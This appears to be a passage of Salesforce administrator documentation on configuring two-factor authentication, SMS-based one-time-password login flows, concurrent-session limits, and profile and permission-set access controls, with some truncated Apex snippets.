Watch a demo: Lightning Login Overview (English Only)

To require two-factor authentication for users assigned to a particular profile, edit the Session security level required at login profile setting. Then set your org’s session security levels to apply the policy for particular login methods.

By default, the Session security requirement at login profile setting is None. You can edit a profile’s session settings to change the requirement to High Assurance. When profile users with the High Assurance requirement use a login method that grants standard-level security instead of high assurance, they’re prompted to verify their identity with two-factor authentication. After users authenticate successfully, they’re logged in to Salesforce.

You can edit the security level, either standard or high assurance, assigned to a login method in your org’s session settings.

Users with mobile devices can use the Salesforce Authenticator mobile app or another authenticator app for two-factor authentication. Internal users can connect the app to their account in the Advanced User Details page of their personal settings. If you set the High Assurance requirement on a profile, profile users without the Salesforce Authenticator or another authenticator app are prompted to connect the app to their account. After they connect the app, they’re prompted to use the app to verify their identity.

Users can use registered U2F security keys for two-factor authentication.

Community members with the High Assurance profile requirement are prompted to connect an authenticator app during login.

Note: When two-factor authentication is enabled for a community, admins can’t use the login as feature to access the community. See Create Community Users.

1. From Setup, enter Profiles in the Quick Find box, then select Profiles.
2. Select a profile.
3. Scroll to Session Settings and find the Session security level required at login setting.
4. Click Edit, and select High Assurance.
5. Click Save.
6. From Setup, enter Session Settings in the Quick Find box, then select Session Settings.
7. In Session Security Levels, make sure that Two-Factor Authentication is in the High Assurance column. If Two-Factor Authentication is in the Standard column, users get an error when they log in with a method that grants standard-level security.

Note: Consider moving Activation to the High Assurance column. With this setting, users who verify their identity from an unrecognized browser or app establish a high-assurance session. When Activation is in the High Assurance column, profile users who verify their identity at login aren’t challenged to verify their identity again.

8. Save your changes.
Example: You’ve configured Facebook and LinkedIn as authentication providers in your community. Many of your community members use social sign-on to log in using the username and password from their Facebook or LinkedIn accounts. You want to increase security by requiring Customer Community Users to use two-factor authentication when they log in with their Facebook account. You want users who log in with their LinkedIn account to be automatically granted High Assurance access and bypass two-factor authentication.

- In the Customer Community User profile, set the session security level required at login to **High Assurance**.
- In your org’s session settings, edit the session security levels.
  - Because you are requiring two-factor authentication with Facebook accounts, make sure that Facebook is in the Standard column.
  - Add **Two-Factor Authentication** to the High Assurance column. When users log in with their Facebook account, they are required to provide a second authentication factor.
  - Add LinkedIn to the High Assurance column. When users log in with their LinkedIn account, they are granted High Assurance access without needing to provide a second authentication factor.

![Session Settings](image)

**Note:** To initiate identity verification under specific conditions, you can use login flows to change the user’s session security level. Login flows let you build a custom post-authentication process that meets your business requirements.

If users lose or forget the device they usually use for two-factor authentication, you can generate a temporary verification code for them. You set when the code expires, from 1 to 24 hours after you generate it. Your user can use the code multiple times until it expires. A user can have only one temporary code at a time. If a user needs a new code while the old code is still valid, you can expire the old code, then generate a new one. Users can expire their own valid codes in their personal settings.

**Note:** The High Assurance profile requirement applies to user interface logins. OAuth token exchanges aren’t subject to the requirement. OAuth refresh tokens that were obtained before a High Assurance requirement is set for a profile can still be exchanged for valid API access tokens. Tokens are valid even if they were obtained with a standard-assurance session. To require users to establish a high-assurance session before accessing the API with an external application, revoke existing OAuth tokens for users with that profile. Then set a High Assurance requirement for the profile. Users have to log in with two-factor authentication and reauthorize the application.
Set Two-Factor Authentication Login Requirements for API Access

Salesforce admins can set the Two-Factor Authentication for API Logins permission to use a second authentication challenge for API access to Salesforce. API access includes the use of applications like the Data Loader and developer tools for customizing an organization or building client applications.

The Two-Factor Authentication for User Interface Logins permission is a prerequisite for the Two-Factor Authentication for API Logins permission. Users who have these permissions enabled have to complete two-factor authentication when they log in to Salesforce through the user interface. Users must download and install an authenticator app on their mobile device and connect the app to their Salesforce account. Then they can use verification codes (time-based one-time passwords, or TOTP) from the app for two-factor authentication.

For developer tools that use API logins, log in with a security token or TOTP instead of Salesforce Authenticator when two-factor authentication is enabled for a user.

Connect Salesforce Authenticator (Version 3 or Later) to Your Account for Identity Verification

The Salesforce Authenticator app on your mobile device is the second factor of authentication. Use the app to add an extra level of security to your account.

1. Download and install version 3 or later of the Salesforce Authenticator app for the type of mobile device you use. For iPhone, get the app from the App Store. For Android devices, get the app from Google Play.

   If you previously installed version 1 of Salesforce Authenticator on your mobile device, you can update the app to version 3 through the App Store or Google Play. The update preserves any connected accounts you already have in the app. These accounts are code-only accounts that generate verification codes but don’t receive push notifications or allow location-based automated verifications. If you have a code-only account for the username you used for your current login to Salesforce, swipe left in the app to remove that username before proceeding. In the following steps, you connect the account for that username again. The new connected account gives you full Salesforce Authenticator version 3 functionality. If you already have version 2 installed, version 3 updates are pushed out to you and there is no need to take action.

2. From your personal settings, enter Advanced User Details in the Quick Find box, then select Advanced User Details.

   No results? Enter Personal Information in the Quick Find box, then select Personal Information.

3. Find App Registration: Salesforce Authenticator and click Connect.

4. For security purposes, you’re prompted to log in to your account.

5. Open the Salesforce Authenticator app on your mobile device.
If you’re opening the app for the first time, you see a tour of the app’s features. Take the tour, or go straight to adding your Salesforce account to the app.

6. In the app, tap Add an Account to add your account.
    The app generates a unique two-word phrase.


8. Click Connect.
    If you previously connected an authenticator app that generates verification codes to your account, you sometimes see an alert. Connecting a new version of the Salesforce Authenticator mobile app invalidates the codes from your old app. When you need a verification code, get it from Salesforce Authenticator from now on.

9. In the Salesforce Authenticator app on your mobile device, you see details about the account you’re connecting. To complete the account connection, tap Connect in the app.

To help keep your account secure, we send you an email notification whenever a new identity verification method is added to your Salesforce account. You get the email whether you add the method or your Salesforce admin adds it on your behalf.

If your administrator requires two-factor authentication for increased security when you log in or access reports or dashboards, use the app to verify your account activity. If you’re required to use two-factor authentication before you have the app connected, you’re prompted to connect it the next time you log in to Salesforce. If you don’t yet have the two-factor authentication requirement, you can still connect the app to your account through your personal settings.

After you connect the app, you get a notification on your mobile device when you do something that requires identity verification. When you receive the notification, open the app on your mobile device, check the activity details, and respond on your mobile device to verify. If you are notified about activity you don’t recognize, use the app to block the activity. You can flag the blocked activity for your Salesforce admin. The app also provides a verification code that you can use as an alternate method of identity verification.

Verify Your Identity with a One-Time Password Generator App or Device

Connect a one-time password generator app, such as Salesforce Authenticator or Google Authenticator, to verify your identity. The app generates a verification code, sometimes called a “time-based one-time password”.

If your company requires two-factor authentication for increased security when you log in, access connected apps, reports, or dashboards, use the app to verify your account activity. If you’re required to use two-factor authentication before you have an app connected, you’re prompted to connect one the next time you log in to Salesforce.

1. Download the supported authenticator app for your device type. You can use any authenticator app that supports the time-based one-time password (TOTP) algorithm (IETF RFC 6238), such as Salesforce Authenticator for iOS, Salesforce Authenticator for Android, or Google Authenticator.

2. From your personal settings, enter Advanced User Details in the Quick Find box, then select Advanced User Details.
    No results? Enter Personal Information in the Quick Find box, then select Personal Information.

3. Find App Registration: One-Time Password Generator and click Connect.
    If you’re connecting an authenticator app other than Salesforce Authenticator, use this setting. If you’re connecting Salesforce Authenticator, use this setting if you’re only using its one-time password generator feature (not the push notifications available in version 2 or later).

    Note: If you’re connecting Salesforce Authenticator so that you can use push notifications, use the App Registration: Salesforce Authenticator setting instead. That setting enables both push notifications and one-time password generation.
You can connect up to two authenticator apps to your Salesforce account for one-time password generation: Salesforce Authenticator and one other authenticator app.

4. For security purposes, you’re prompted to log in to your account.

5. Using the authenticator app on your mobile device, scan the QR code.
   Alternatively, click I Can’t Scan the QR Code in your browser. The browser displays a security key. In the authenticator app, enter your username and the key displayed.

6. In Salesforce, enter the code generated by the authenticator app in the Verification Code field.
   The authenticator app generates a new verification code periodically. Enter the current code.

7. Click Connect.
   To help keep your account secure, we send you an email notification whenever a new identity verification method is added to your Salesforce account. You get the email whether you add the method or your Salesforce admin adds it on your behalf.

SEE ALSO:
Salesforce Help: Personalize Your Salesforce Experience

Disconnect Salesforce Authenticator (Versions 2 and 3) from a User’s Account

Only one Salesforce Authenticator (version 2 or later) mobile app can be connected to a user’s account at a time. If your user loses access to the app by replacing or losing the mobile device, disconnect the app from the user’s account. As long as the user (or assigned profile) still has the two-factor permission enabled, and no other authenticator method is connected to their account, Salesforce prompts the user to connect a new authenticator method the next time they log in.

These steps are for Salesforce admins (or users with the “Manage Two-Factor Authentication in User Interface” permission) who want to disconnect a user’s Salesforce Authenticator account in an org’s Setup. For example, admins follow these steps when a user loses the device running Salesforce Authenticator. For users who want to disconnect Salesforce Authenticator on their device to switch to a new device or simply remove an unused connection, see the help topic Remove an Account from Salesforce Authenticator (Versions 2 and 3).

1. From Setup, enter Users in the Quick Find box, then select Users.

2. Click the user’s name.

3. On the user’s detail page, click Disconnect next to the App Registration: Salesforce Authenticator field.
Disconnect a User’s One-Time Password Generator App

Besides Salesforce Authenticator, one other mobile authenticator app that generates verification codes (one-time passwords) can be connected to a user’s account at a time. If your user loses access to the app by replacing or losing the mobile device, disconnect the app from your user’s account. The next time your user logs in with two-factor authentication, if no other identity verification method is connected, Salesforce prompts the user to connect a new authenticator app.

1. From Setup, enter Users in the Quick Find box, then select Users.
2. Click the user’s name.
3. On the user’s detail page, click Disconnect next to the App Registration: One-Time Password Generator field.

Your users can disconnect the app from their own account. In personal settings, they go to the Advanced User Details page and click Disconnect next to the App Registration: One-Time Password Generator field.

Generate a Temporary Identity Verification Code

Generate a temporary verification code for users who can’t access the device they usually use for two-factor authentication. You set when the code expires, from 1 to 24 hours after you generate it. The code can be used multiple times until it expires.

Temporary verification codes are valid for two-factor authentication only. They aren’t valid for device activations. That is, when users log in from an unrecognized browser or app and we require identity verification, they can’t use a temporary code.

1. From Setup, enter Users in the Quick Find box, then select Users.
2. Click the name of the user who needs a temporary verification code.
   You can’t generate a code for an inactive user.
3. Find Temporary Verification Code, then click Generate.
   If you don’t already have a session with a high-assurance security level, Salesforce prompts you to verify your identity.
4. Set when the code expires, and click Generate Code.
5. Give the code to your user, then click Done.
   After you click Done, you can’t return to view the code again, and the code isn’t displayed anywhere in the user interface.

Your user can use the temporary verification code multiple times until it expires. Each user can have only one temporary verification code at a time. If a user forgets or loses the code before it expires, you can manually expire the old code and generate a new one. You can generate up to six codes per hour for each user.

Note: When you add an identity verification method to a user’s account, the user gets an email. To stop sending emails to users when new identity verification methods are added to their accounts, contact Salesforce.
### Expire a Temporary Verification Code

Expire a user’s temporary verification code when the user no longer needs it for two-factor authentication.

Each user can have only one temporary verification code at a time. If a user forgets or loses the code before it expires, you can manually expire the old code and generate a new one. You can generate up to six codes per hour for each user.

1. From Setup, enter Users in the Quick Find box, then select Users.
2. Click the name of the user whose temporary verification code you need to expire.
3. Find Temporary Verification Code, and click Expire Now.

### Delegate Two-Factor Authentication Management Tasks

Let users who aren’t Salesforce admins provide support for two-factor authentication in your org. For example, suppose you want your company’s Help Desk staff to generate temporary verification codes for users who lost or forgot the device they usually use for two-factor authentication. Assign Help Desk staff members the “Manage Two-Factor Authentication in User Interface” permission so that they can generate codes and support end users with other two-factor authentication tasks.

To assign the permission, select “Manage Two-Factor Authentication in User Interface” in the user profile (for cloned profiles only) or permission set. Users with the permission can perform the following tasks.

- Generate a temporary verification code for a user who can’t access the device normally used for two-factor authentication.
- Disconnect identity verification methods from a user’s account when the user loses or replaces a device.
- View user identity verification activity on the Identity Verification History page.
- View the Identity Verification Methods report by clicking a link on the Identity Verification History page.
- Create user list views that show which identity verification methods users have registered.

**Note:** Although non-admin users with the permission can view the Identity Verification Methods report, they can’t create custom reports that include data restricted to users with the “Manage Users” permission.

### Deploy Third-Party, SMS-Based Two-Factor Authentication

Two-factor authentication (2FA) enhances security when validating a user’s identity and protects access to your Salesforce org. In addition to a password, SMS-based 2FA requires the user to provide a one-time password (OTP) code received on a mobile device.
To implement 2FA, you can take advantage of a third-party SMS or voice delivery service, like Twilio or TeleSign, together with a Salesforce login flow.

Let’s break down an SMS-based 2FA process.

1. As the user logs in, the login flow generates a random OTP and sends it via voice or text message to the user’s phone.
2. The user provides the OTP to the Salesforce application.
3. Salesforce verifies the code.
4. If the code is valid, Salesforce permits user access.

The login flow has four steps.

1. Get Records—Queries the user record to get the mobile phone number.
2. Apex Action (Legacy)—Generates the OTP and uses a third-party SMS delivery service to send it to the user’s mobile device.
3. Screen—Prompts the user to provide the received OTP.
4. Decision—Compares the OTP generated by the Apex action with the one that the user provides. If equal, the flow is completed, and the user is redirected to the application. Otherwise, the flow generates another code and asks the user to reverify.

Configure the Flow

This example uses the Twilio Apex SDK to perform SMS delivery operations. However, you can use any cloud-based SMS or voice vendor that has a public API to access its services.

2. Select Screen Flow, and click Create.
3. From the toolbox, open the Manager tab, and click New Resource.
4. Create a LoginFlow_UserId input text variable. This variable is populated with the user ID during the login event.
5. Create text variables.
   - **Mobile**—The user’s mobile number
   - **VerificationCode**—The OTP generated by the Apex plug-in
   - **Code**—The OTP collected from the user
   - **Status**—The status returned when the plug-in executes

6. From the toolbox, open the Elements tab. Add a Get Records element to the canvas to look up the user who’s trying to log in.

   *Object
   User

   **Filter User Records**

   **Condition Requirements**
   Conditions are Met

<table>
<thead>
<tr>
<th>Field</th>
<th>Operator</th>
<th>Value</th>
</tr>
</thead>
<tbody>
<tr>
<td>Id</td>
<td>Equals</td>
<td>{LoginFlow_UserId}</td>
</tr>
</tbody>
</table>

7. Store the user’s mobile number in the **Mobile** input variable.

8. Install the Twilio Apex SDK from https://github.com/twilio/twilio-salesforce.

9. To allow the SMS plug-in to perform outbound API calls to Twilio web services, set up https://api.twilio.com as a remote site in Salesforce. In Setup, enter Remote Site Settings in the Quick Find box, select Remote Site Settings, and add the Twilio web services URL.
10. Create an Apex class.

global class SMSPlugin implements Process.Plugin {

    global Process.PluginDescribeResult describe() {
        Process.PluginDescribeResult result = new Process.PluginDescribeResult();
        result.tag = 'Identity';
        result.name = 'SMS Plugin';
        result.description = 'Two factor authentication with SMS';

        result.inputParameters = new List<Process.PluginDescribeResult.InputParameter> {
        };

        result.outputParameters = new List<Process.PluginDescribeResult.OutputParameter> {
        };

        return result;
    }

    global Process.PluginResult invoke(Process.PluginRequest request) {
        Map<String, Object> result = new Map<String, Object>();
        String AccountSid = (String)request.inputParameters.get('AccountSid');
11. Create an SMS plug-in that generates an OTP code and sends it via SMS to the user’s mobile number. The plug-in takes these inputs.

- **AccountSid**—Twilio Account SID (username from your Twilio account)
- **Token**—Twilio Auth Token (password from your Twilio account)
- **From**—The SMS From number
- **Message**—The message sent to the user with the verification code
- **To**—The user’s mobile phone number
The plug-in returns two values.
- **Status**—The status of the SMS delivery operation
- **VerificationCode**—The verification code generated and sent to the user

12. Create a Screen element that prompts for the verification code received.
13. Create a Decision element with two outcomes.

- Valid—The verification code (stored in ` {!VerificationCode} `) is the same as the code the user entered in the Code screen component.
- Invalid—The Valid outcome’s condition isn’t met, so the outcome is invalid. To create this outcome, change the label of the default outcome to `Invalid`.

14. Connect the elements together. When you connect the decision to the legacy Apex action, choose the Invalid outcome.
15. Save and activate the flow.

16. Connect the login flow to a user profile.

17. Log out, and then log in as a test user that’s connected with a test profile.

Extending the Flow

In a production deployment, it’s common to extend this basic flow. For example, you can add customization, validation, or policies, such as:

- Branding—Add a corporate logo and message to the verification screen.
- Validation—Verify whether the user record included a phone number. If not, prompt the user to enter one.
Retries—If the OTP code that the user provides is wrong, the login flow generates a new OTP code and sends it to the user. It’s typical to limit the number of retries or to temporarily block a user login after several unsuccessful verification attempts.

Policies—If the user has registered a landline phone but not a mobile phone number, send the OTP over voice rather than SMS. Alternatively, if Salesforce doesn’t have a registered phone number for the user, send the OTP code by email. Another approach is to challenge the user with a second authentication factor, such as a Salesforce time-based OTP or a hardware-based OTP, like a YubiKey.

SEE ALSO:
Login Flow Examples

Limit the Number of Concurrent Sessions with Login Flows

You can use a login flow to restrict the number of simultaneous Salesforce sessions per user.

Install the Concurrent-Sessions Package

The concurrent-sessions unmanaged package includes the elements and sources of a login flow solution. The package includes a plug-in that retrieves the number of concurrent sessions for a user. If the pending login exceeds the concurrent session limit, the flow blocks it.

You can customize the package, for example, changing the session limit. By default, the package uses a session limit of 1.

1. To install the concurrent-sessions package, go to

2. After you install the package, you can connect the login flow to user profiles. Assign the flow to profiles for which you want to limit concurrent sessions.

Creating the Package Components

Let’s take a closer look at the components in the concurrent-sessions package. If the package didn’t exist, here’s how you can create the plug-in and the login flow.

SessionPlugin is an Apex class that retrieves the number of concurrent sessions. The class queries the AuthSession table and sums the number of sessions, excluding temporary sessions.

1. In Setup, enter Apex Classes in the Quick Find box, and select Apex Classes.
2. To create a class, click New.
3. Copy and paste this code as the Apex class content.

```apex
global class SessionPlugin implements Process.Plugin
{
  global Process.PluginDescribeResult describe()
  {
    Process.PluginDescribeResult result = new Process.PluginDescribeResult();
    result.description='This plug-in returns the no of concurrent sessions for the current user';
    result.tag='Identity';

    result.inputParameters = new List<Process.PluginDescribeResult.InputParameter> {};

    result.outputParameters = new List<Process.PluginDescribeResult.OutputParameter> {};

    return result;
  }
}
```
Creating the Login Flow

The package’s login flow includes these elements:

- **SessionPlugin**—The Apex plug-in that queries the number of concurrent sessions.
- **Decision**—Verifies whether the number of concurrent sessions exceeds the limit. The outcome determines whether the login is blocked or allowed.
- **Block Screen**—If the login exceeds the limit, the flow displays the block screen element.
- **Assignment**—If the login exceeds the limit, this element assigns the `LoginFlow_ForceLogout` variable to `true` and prevents the login.
- **Dummy Screen**—This element is a placeholder. A flow requires a UI element to follow an output variable.

1. Open Flow Builder. From Setup, enter **Flows** in the Quick Find box, select **Flows**, and click **New Flow**.
2. Select **Screen Flow**, and click **Create**.
3. From the toolbox, on the Manager tab, click **New Resource**. Create a `LoginFlow_ForceLogout` output boolean variable. When set to `true`, this variable blocks the login attempt.
4. Create a numeric variable to store the allowed number of concurrent sessions for the user.

5. From the toolbox, open the Elements tab. Drag an Apex Action (Legacy) element onto the canvas, and select the SessionPlugin legacy Apex action. Store the action’s `CONCURRENT_NO` parameter in the `session_no` flow variable.
6. Add a Decision element that has two outcomes. If the login exceeds the limit, the outcome is **Block**, which is the default. Otherwise, the outcome is **Allow**.

7. Add a Screen element that tells the user they’ve exceeded the allowed number of concurrent sessions.

8. Add an Assignment element that sets the `LoginFlow_ForceLogout` output variable to **true**.
9. Add a screen with no contents.

10. Connect the elements together. When you connect the decision to the first screen, choose the Block outcome.

11. Save the flow.
12. Activate the flow.
13. Connect the login flow to a user profile. Best practice is to create a dedicated test user with a test profile.

14. Log out, and then log in as the test user and test the flow.

When you assign the profile to users, Salesforce redirects them at login through the flow. When a login attempt exceeds the limit, the user sees the block screen and can't log in. Here's an example of the block screen in Lightning Experience.

SEE ALSO:
Login Flow Examples

Give Users Access to Data

Choosing the data set that each user or group of users can see is one of the key decisions that affects data security. You need to find a balance between limiting access to data, thereby limiting risk of stolen or misused data, versus the convenience of data access for your users.

IN THIS SECTION:
Control Who Sees What
Salesforce provides a flexible, layered data sharing design that allows you to expose different data sets to different sets of users, so users can do their job without seeing data they don't need to see. Use permission sets and profiles to specify the objects and fields users can access. Use organization-wide sharing settings, user roles, sharing rules to specify the individual records that users can view and edit.

User Permissions
User permissions specify what tasks users can perform and what features users can access. For example, users with the "View Setup and Configuration" permission can view Setup pages, and users with the "API Enabled" permission can access any Salesforce API.

Object Permissions
Object permissions specify the base-level access users have to create, read, edit, and delete records for each object. You can manage object permissions in permission sets and profiles.

Custom Permissions
Use custom permissions to give users access to custom processes or apps.

Profiles
Profiles define how users access objects and data, and what they can do within the application. When you create users, you assign a profile to each one.

User Role Hierarchy
Salesforce offers a user role hierarchy that you can use with sharing settings to determine the levels of access that users have to your Salesforce org's data. Roles within the hierarchy affect access on key components such as records and reports.
Control Who Sees What

Salesforce provides a flexible, layered data sharing design that allows you to expose different data sets to different sets of users, so users can do their job without seeing data they don’t need to see. Use permission sets and profiles to specify the objects and fields users can access. Use organization-wide sharing settings, user roles, sharing rules to specify the individual records that users can view and edit.

Note: Who Sees What: Overview (English only)
Watch a demo on controlling access to and visibility of your data.

Tip: When implementing security and sharing rules for your organization, make a table of the various types of users in your organization. In the table, specify the level of access to data that each type of user needs for each object and for fields and records within the object. You can refer to this table as you set up your security model.

Object-Level Security (Permission Sets and Profiles)
Object-level security—or object permissions—provide the bluntest way to control data. Using object permissions you can prevent a user from seeing, creating, editing, or deleting any instance of a particular type of object, such as a lead or opportunity. Object permissions let you hide whole tabs and objects from particular users, so that they don’t even know that type of data exists.

You specify object permissions in permission sets and profiles. Permission sets and profiles are collections of settings and permissions that determine what a user can do in the application, similar to a group in a Windows network, where all of the members of the group have the same folder permissions and access to the same software.

Profiles are typically defined by a user’s job function (for example, system administrator or sales representative). A profile can be assigned to many users, but a user can be assigned to only one profile. You can use permission sets to grant additional permissions and access settings to users. It’s easy to manage users’ permissions and access with permission sets, because you can assign multiple permission sets to a single user.

Field-Level Security (Permission Sets and Profiles)
In some cases, you may want users to have access to an object, but limit their access to individual fields in that object. Field-level security—or field permissions—control whether a user can see, edit, and delete the value for a particular field on an object. They let you protect sensitive fields without having to hide the whole object from users. Field permissions are also controlled in permission sets and profiles.

Unlike page layouts, which only control the visibility of fields on detail and edit pages, field permissions control the visibility of fields in any part of the app, including related lists, list views, reports, and search results. To ensure that a user can’t access a particular field, use field permissions. No other settings provide the same level of protection for a field.

Note: Field-level security doesn’t prevent searching on the values in a field. When search terms match on field values protected by field-level security, the associated records are returned in the search results without the protected fields and their values.

Record-Level Security (Sharing)
After setting object- and field-level access permissions, you may want to configure access settings for the actual records themselves. Record-level security lets you give users access to some object records, but not others. Every record is owned by a user or a queue. The owner has full access to the record. In a hierarchy, users higher in the hierarchy always have the same access to users below them in the hierarchy. This access applies to records owned by users, as well as records shared with them.

To specify record-level security, set your organization-wide sharing settings, define a hierarchy, and create sharing rules.

- Organization-wide sharing settings—The first step in record-level security is to determine the organization-wide sharing settings for each object. Organization-wide sharing settings specify the default level of access users have to each others’ records.

  You use organization-wide sharing settings to lock down your data to the most restrictive level, and then use the other record-level security and sharing tools to selectively give access to other users. For example, let’s say users have object-level permissions to...
read and edit opportunities, and the organization-wide sharing setting is Read-Only. By default, those users can read all opportunity records, but can’t edit any unless they own the record or are granted additional permissions.

- Role hierarchy—Once you’ve specified organization-wide sharing settings, the first way you can give wider access to records is with a role hierarchy. Similar to an organization chart, a role hierarchy represents a level of data access that a user or group of users needs. The role hierarchy ensures that users higher in the hierarchy always have access to the same data as people lower in their hierarchy, regardless of the organization-wide default settings. Role hierarchies don’t have to match your organization chart exactly. Instead, each role in the hierarchy should represent a level of data access that a user or group of users needs.

Similarly, you can use a territory hierarchy to share access to records. See Define Default User Access for Territory Records (Enterprise Territory Management) and Configure Territory Management Settings (original territory management).

**Note:** Although it’s easy to confuse permission sets and profiles with roles, they control two very different things. Permission sets and profiles control a user’s object and field access permissions. Roles primarily control a user’s record-level access through role hierarchy and sharing rules.

- Sharing rules—Sharing rules let you make automatic exceptions to organization-wide sharing settings for particular sets of users, to give them access to records they don’t own or can’t normally see. Sharing rules, like role hierarchies, are only used to give additional users access to records—they can’t be stricter than your organization-wide default settings.

- Manual sharing—Sometimes it’s impossible to define a consistent group of users who need access to a particular set of records. In those situations, record owners can use manual sharing to give read and edit permissions to users who would not have access to the record any other way. Although manual sharing isn’t automated like organization-wide sharing settings, role hierarchies, or sharing rules, it gives record owners the flexibility to share particular records with users that need to see them.

- Apex managed sharing—If sharing rules and manual sharing don’t give you the control you need, you can use Apex managed sharing. Apex managed sharing allows developers to programmatically share custom objects. When you use Apex managed sharing to share a custom object, only users with the “Modify All Data” permission can add or change the sharing on the custom object’s record, and the sharing access is maintained across record owner changes.

**User Permissions**

User permissions specify what tasks users can perform and what features users can access. For example, users with the “View Setup and Configuration” permission can view Setup pages, and users with the “API Enabled” permission can access any Salesforce API.

You can enable user permissions in permission sets and custom profiles. In permission sets and the enhanced profile user interface, these permissions—as well as their descriptions—are listed in the App Permissions or System Permissions pages. In the original profile user interface, user permissions are listed under Administrative Permissions and General User Permissions.

To view permissions and their descriptions, from Setup, enter Permission Sets in the Quick Find box, then select Permission Sets, then select or create a permission set. Then from the Permission Set Overview page, click App Permissions or System Permissions.

**IN THIS SECTION:**

User Permissions and Access

User permissions and access settings are specified in profiles and permission sets. To use them effectively, understand the differences between profiles and permission sets.
Permission Sets

A permission set is a collection of settings and permissions that give users access to various tools and functions. The settings and permissions in permission sets are also found in profiles, but permission sets extend users’ functional access without changing their profiles.

User Permissions and Access

User permissions and access settings are specified in profiles and permission sets. To use them effectively, understand the differences between profiles and permission sets.

User permissions and access settings specify what users can do within an organization:

- Permissions determine a user’s ability to edit an object record, view the Setup menu, permanently delete records in the Recycle Bin, or reset a user’s password.
- Access settings determine other functions, such as access to Apex classes, app visibility, and the hours when users can log in.

Every user is assigned only one profile, but can also have multiple permission sets. When determining access for your users, use profiles to assign the minimum permissions and access settings for specific groups of users. Then use permission sets to grant more permissions as needed.

This table shows the types of permissions and access settings that are specified in profiles and permission sets.

<table>
<thead>
<tr>
<th>Permission or Setting Type</th>
<th>In Profiles?</th>
<th>In Permission Sets?</th>
</tr>
</thead>
<tbody>
<tr>
<td>Assigned apps</td>
<td>✔️</td>
<td>✔️</td>
</tr>
<tr>
<td>Tab settings</td>
<td>✔️</td>
<td>✔️</td>
</tr>
<tr>
<td>Record type assignments</td>
<td>✔️</td>
<td>✔️</td>
</tr>
<tr>
<td>Page layout assignments</td>
<td>✔️</td>
<td></td>
</tr>
<tr>
<td>Object permissions</td>
<td>✔️</td>
<td>✔️</td>
</tr>
<tr>
<td>Field permissions</td>
<td>✔️</td>
<td>✔️</td>
</tr>
<tr>
<td>User permissions (app and system)</td>
<td>✔️</td>
<td>✔️</td>
</tr>
<tr>
<td>Apex class access</td>
<td>✔️</td>
<td>✔️</td>
</tr>
<tr>
<td>Visualforce page access</td>
<td>✔️</td>
<td>✔️</td>
</tr>
<tr>
<td>External data source access</td>
<td>✔️</td>
<td>✔️</td>
</tr>
<tr>
<td>Service provider access (if Salesforce is enabled as an identity provider)</td>
<td>✔️</td>
<td>✔️</td>
</tr>
<tr>
<td>Custom permissions</td>
<td>✔️</td>
<td></td>
</tr>
<tr>
<td>Desktop client access</td>
<td>✔️</td>
<td></td>
</tr>
<tr>
<td>Login hours</td>
<td>✔️</td>
<td></td>
</tr>
</tbody>
</table>
In Permission Sets?

<table>
<thead>
<tr>
<th>Permission or Setting Type</th>
<th>In Profiles?</th>
<th>In Permission Sets?</th>
</tr>
</thead>
<tbody>
<tr>
<td>Login IP ranges</td>
<td></td>
<td>✓</td>
</tr>
</tbody>
</table>

**IN THIS SECTION:**

- Revoking Permissions and Access

**Revoking Permissions and Access**

You can use profiles and permission sets to grant access, but not to deny access. Any permission granted from either a profile or permission set is honored. For example, if “Transfer Record” isn’t enabled in Jane Smith’s profile, but is enabled in two of her permission sets, she can transfer records regardless of whether she owns them. To revoke a permission, you must remove all instances of the permission from the user. You can do this with the following actions—each has possible consequences.

<table>
<thead>
<tr>
<th>Action</th>
<th>Consequence</th>
</tr>
</thead>
<tbody>
<tr>
<td>Disable a permission or remove an access setting in the profile and any permission sets that are assigned to the user.</td>
<td>The permission or access setting is disabled for all other users assigned to the profile or permission sets.</td>
</tr>
<tr>
<td>If a permission or access setting is enabled in the user’s profile, assign a different profile to the user.</td>
<td>The user may lose other permissions or access settings associated with the profile or permission sets.</td>
</tr>
</tbody>
</table>

**AND**

If the permission or access setting is enabled in any permission sets that are assigned to the user, remove the permission set assignments from the user.

To resolve the consequence in either case, consider all possible options. For example, you can clone the assigned profile or any assigned permission sets where the permission or access setting is enabled. Then, disable the permission or access setting, and assign the cloned profile or permission sets to the user. Another option is to create a base profile with the least number of permissions and settings that represents the largest number of users possible. Then create permission sets that layer more access.
Permission Sets

A permission set is a collection of settings and permissions that give users access to various tools and functions. The settings and permissions in permission sets are also found in profiles, but permission sets extend users’ functional access without changing their profiles.

Users can have only one profile but, depending on the Salesforce edition, they can have multiple permission sets. You can assign permission sets to various types of users, regardless of their profiles.

Create permission sets to grant access among logical groupings of users, regardless of their primary job function. For example, let’s say you have several users with a profile called Sales User. This profile allows assignees to read, create, and edit leads. Some, but not all, of these users also need to delete and transfer leads. Instead of creating another profile, create a permission set.

Or, let’s say you have an Inventory custom object in your org. Many users need “Read” access to this object, and a smaller number of users need “Edit” access. You can create a permission set that grants “Read” access and assign it to the appropriate users. You can then create another permission set that gives “Edit” access to the Inventory object and assign it to the smaller group of users.

If a permission isn’t enabled in a profile but is enabled in a permission set, users with that profile and permission set have the permission. For example, if “Manage Password Policies” isn’t enabled in Jane Smith’s profile but is enabled in one of her permission sets, she can manage password policies.

IN THIS SECTION:

- Create and Edit Permission Set List Views
  You can create and edit permission set list views to show a list of permission sets with specific fields and permissions. For example, you could create a list view of all permission sets in which “Modify All Data” is enabled.

- Edit Permission Sets from a List View
  You can change permissions in up to 200 permission sets directly from the list view, without accessing individual permission sets.

- App and System Settings in Permission Sets
  In permission sets, permissions and settings are organized into app and system categories. These categories reflect the rights users need to administer and use system and app resources.

- Permission Set Assigned Users Page
  From the Assigned Users page, you can view all users who are assigned to a permission set, assign more users, and remove user assignments.

- Search Permission Sets
  To quickly navigate to other pages in a permission set, you can enter search terms in any permission set detail page.

- View and Edit Assigned Apps in Permission Sets
  Assigned app settings specify the apps that users can select in the Lightning Platform app menu.

- Assign Custom Record Types in Permission Sets

- Enable Custom Permissions in Permission Sets
  Custom permissions give you a way to provide access to custom processes or apps. After you’ve created a custom permission and associated it with a process or app, you can enable the permission in permission sets.
Manage Permission Set Assignments

You can assign permission sets to a single user from the user detail page or assign multiple users to a permission set from any permission set page.

Create and Edit Permission Set List Views

You can create and edit permission set list views to show a list of permission sets with specific fields and permissions. For example, you could create a list view of all permission sets in which “Modify All Data” is enabled.

1. In the Permission Sets page, click Create New View, or select a view and click Edit.
2. Enter the view name.
3. Under Specify Filter Criteria, specify the conditions that the list items must match, such as Modify All Data equals True.
   a. Type a setting name, or click 📜 to search for and select the setting you want.
   b. Choose a filter operator.
   c. Enter the value that you want to match.
